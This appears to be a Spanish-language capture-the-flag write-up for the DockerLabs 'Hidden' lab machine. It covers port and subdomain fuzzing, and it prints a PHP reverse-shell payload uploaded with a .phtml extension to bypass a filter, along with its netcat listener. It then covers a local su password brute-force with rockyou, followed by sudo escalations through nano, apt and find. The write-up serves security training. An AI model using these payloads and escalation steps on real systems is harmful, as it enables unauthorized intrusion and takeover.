Hidden DockerLabs (Intermediate)
Instalación
Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip hidden.zipNos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh hidden.tarInfo:
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarlaPor lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-17 09:06 EDT
Nmap scan report for hidden.lab (172.17.0.2)
Host is up (0.000034s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: HIDDEN - Tu Tienda de Caf\xC3\xA9s
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: localhost
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.42 secondsVemos que hay una pagina web, pero si nos metemos ha ella no carga correctamente, pero vemos un dominio, por lo que lo resolveremos haciendo lo siguiente.
nano /etc/hosts
#Dentro del nano
<IP> hidden.labLo guardamos y si volvemos a cargar la pagina con el dominio, veremos que carga todo correctamente.
URL = http://hidden.lab/Pero no veremos gran cosa, por lo que fuzzearemos mas profundo.
Gobuster
gobuster dir -u http://hidden.lab/ -w <WORDLIST> -x html,php,txt -t 100 -k -rInfo:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://hidden.lab/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,php
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.txt (Status: 403) [Size: 275]
/.htpasswd.php (Status: 403) [Size: 275]
/.htaccess.html (Status: 403) [Size: 275]
/LICENSE.txt (Status: 200) [Size: 1456]
/.htaccess (Status: 403) [Size: 275]
/.htpasswd.txt (Status: 403) [Size: 275]
/.htpasswd.html (Status: 403) [Size: 275]
/.htaccess.php (Status: 403) [Size: 275]
/.htpasswd (Status: 403) [Size: 275]
/about.html (Status: 200) [Size: 9703]
/contact.html (Status: 200) [Size: 11680]
/css (Status: 200) [Size: 1133]
/img (Status: 200) [Size: 4245]
/index.html (Status: 200) [Size: 10483]
/js (Status: 200) [Size: 923]
/lib (Status: 200) [Size: 1539]
/mail (Status: 200) [Size: 1370]
/menu.html (Status: 200) [Size: 11846]
/reservation.html (Status: 200) [Size: 11786]
/service.html (Status: 200) [Size: 10926]
/server-status (Status: 403) [Size: 275]
/testimonial.html (Status: 200) [Size: 10335]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================Veremos mucha informacion pero poca cosa, ya que utiliza dominios, podemos intentar identificar si tuviera algun subdominio de la siguiente forma.
ffuf (subdominio)
ffuf -c -t 200 -w <WORDLIST> -H "Host: FUZZ.hidden.lab" -u http://hidden.lab/ -fw 18Info:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://hidden.lab/
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Header : Host: FUZZ.hidden.lab
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 18
________________________________________________
dev [Status: 200, Size: 1653, Words: 550, Lines: 58, Duration: 0ms]
:: Progress: [20469/20469] :: Job [1/1] :: 188 req/sec :: Duration: [0:00:13] :: Errors: 0 ::Vemos que encontramos un subdominio llamado dev por lo que haremos lo siguiente.
Editaremos el hosts para añadir ese subdominio.
nano /etc/hosts
#Dentro del nano
<IP> hidden.lab dev.hidden.labLo guardamos y ahora iremos a la siguiente URL.
URL = http://dev.hidden.lab/Por lo que vemos hay una pagina en la que te pide que envies un CV, pero veremos a ver si el subir archivos puede ser vulnerado de la siguiente forma.
Reverse Shell
Primero vamos a ver donde se alojan los archivos.
gobuster dir -u http://dev.hidden.lab/ -w <WORDLIST> -x html,php,txt -t 100 -k -rInfo:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.hidden.lab/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.txt (Status: 403) [Size: 279]
/.htaccess.html (Status: 403) [Size: 279]
/.htpasswd.php (Status: 403) [Size: 279]
/.htpasswd.txt (Status: 403) [Size: 279]
/.htpasswd.html (Status: 403) [Size: 279]
/.htaccess.php (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/index.html (Status: 200) [Size: 1653]
/server-status (Status: 403) [Size: 279]
/upload.php (Status: 200) [Size: 74]
/uploads (Status: 200) [Size: 946]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================Vemos que se alojan en /uploads por lo que ahora intentaremos subir un archivo .php con una reverse shell, solo que nos dice que no se admiten ese tipo de formatos, por lo que haremos el siguiente tipo de extension para que funcione.
nano shell.phtml
#Dentro del nano
<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>Lo guardamos y ahora se subira como otro tipo de extension para que no lo bloque solo que seguira haciendo caso a la extension de php para que funcione.
Una vez que lo hayamos subido con la extension de .phtml iremos a la siguiente URL.
URL = http://dev.hidden.lab/uploads/Y aqui encontraremos nuestro archivo, por lo que antes de darle estaremos a la escucha.
nc -lvnp <PORT>Y hecho eso, le daremos al archivo, si volvemos a donde teniamos la escucha obtendremos una shell de www-data.
Info:
connect to [192.168.5.145] from (UNKNOWN) [172.17.0.2] 53256
whoami
www-dataSanitizamos la shell (TTY).
script /dev/null -c bash# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>Escalate user cafetero
Como no tenemos ssh para hacer fuerza bruta desde fuera, lo haremos desde dentro con el siguiente script.
URL = https://github.com/Maalfer/Sudo_BruteForce/blob/main/Linux-Su-Force.sh
Nos lo copiamos y pegamos en el /tmp para ejecutarlo desde ahi, tambien copiaremos las 1000 primeras palabras del rockyou.txt para copiarlo en un .txt que crearemos dentro de la maquina para utilizarlo.
Copiar el diccionario
head -1000 /usr/share/wordlists/rockyou.txtLo pegamos en un archivo dentro de la maquina.
nano /tmp/dic.txt
#Dentro del nano
<PASTE_1000_ROCKYOU.TXT>Lo guardamos y tambien crearemos otro archivo.
nano script.sh
#Dentro del nano
<PASTE_SCRIPT_SU_FORCE>Lo guardamos y lo ejecutamos de la siguiente forma, elegiremos a un usuario.
bash script.sh cafetero dic.txtInfo:
Contraseña encontrada para el usuario cafetero: 123123Vemos las credenciales del usuario cafetero, por lo que cambiaremos a el.
su cafeteroMetemos la contraseña obtenida y ya seremos el.
Escalate user john
Si hacemos sudo -l veremos lo siguiente.
Matching Defaults entries for cafetero on c334669636c3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User cafetero may run the following commands on c334669636c3:
(john) NOPASSWD: /usr/bin/nanoPodemos ejecutar como john el binario nano por lo que haremos lo siguiente.
URL = https://gtfobins.github.io/gtfobins/nano/#sudo
sudo -u john nano
#Dentro del nano
^R^X #(Esto te habrira una linea de comandos dentro del nano)
reset; sh 1>&0 2>&0A eso ultimo le damos a ENTER y se nos habria ejecutado ese comando, por lo que hacemos.
clear
/bin/bashY habremos limpiado la terminal que se veia mal y tendremos una shell mejor.
Escalate user bobby
Si hacemos sudo -l veremos lo siguiente.
Matching Defaults entries for john on c334669636c3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User john may run the following commands on c334669636c3:
(bobby) NOPASSWD: /usr/bin/aptPor lo que podremos ejecutar como bobby el binario apt, por lo que haremos lo siguiente.
URL = https://gtfobins.github.io/gtfobins/apt/#sudo
sudo -u bobby apt changelog aptY dentro del entorno del apt escribimos lo siguiente a mano.
!/bin/bashCon esto obtendremos la shell del usuario bobby.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente.
Matching Defaults entries for bobby on c334669636c3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User bobby may run the following commands on c334669636c3:
(root) NOPASSWD: /usr/bin/findVemos que podemos ejecutar como root el binario find por lo que haremos lo siguiente.
URL = https://gtfobins.github.io/gtfobins/find/#sudo
sudo find . -exec /bin/sh \; -quitY despues.
/bin/bashPor lo que ya seremos root y habriamos terminado la maquina.
Last updated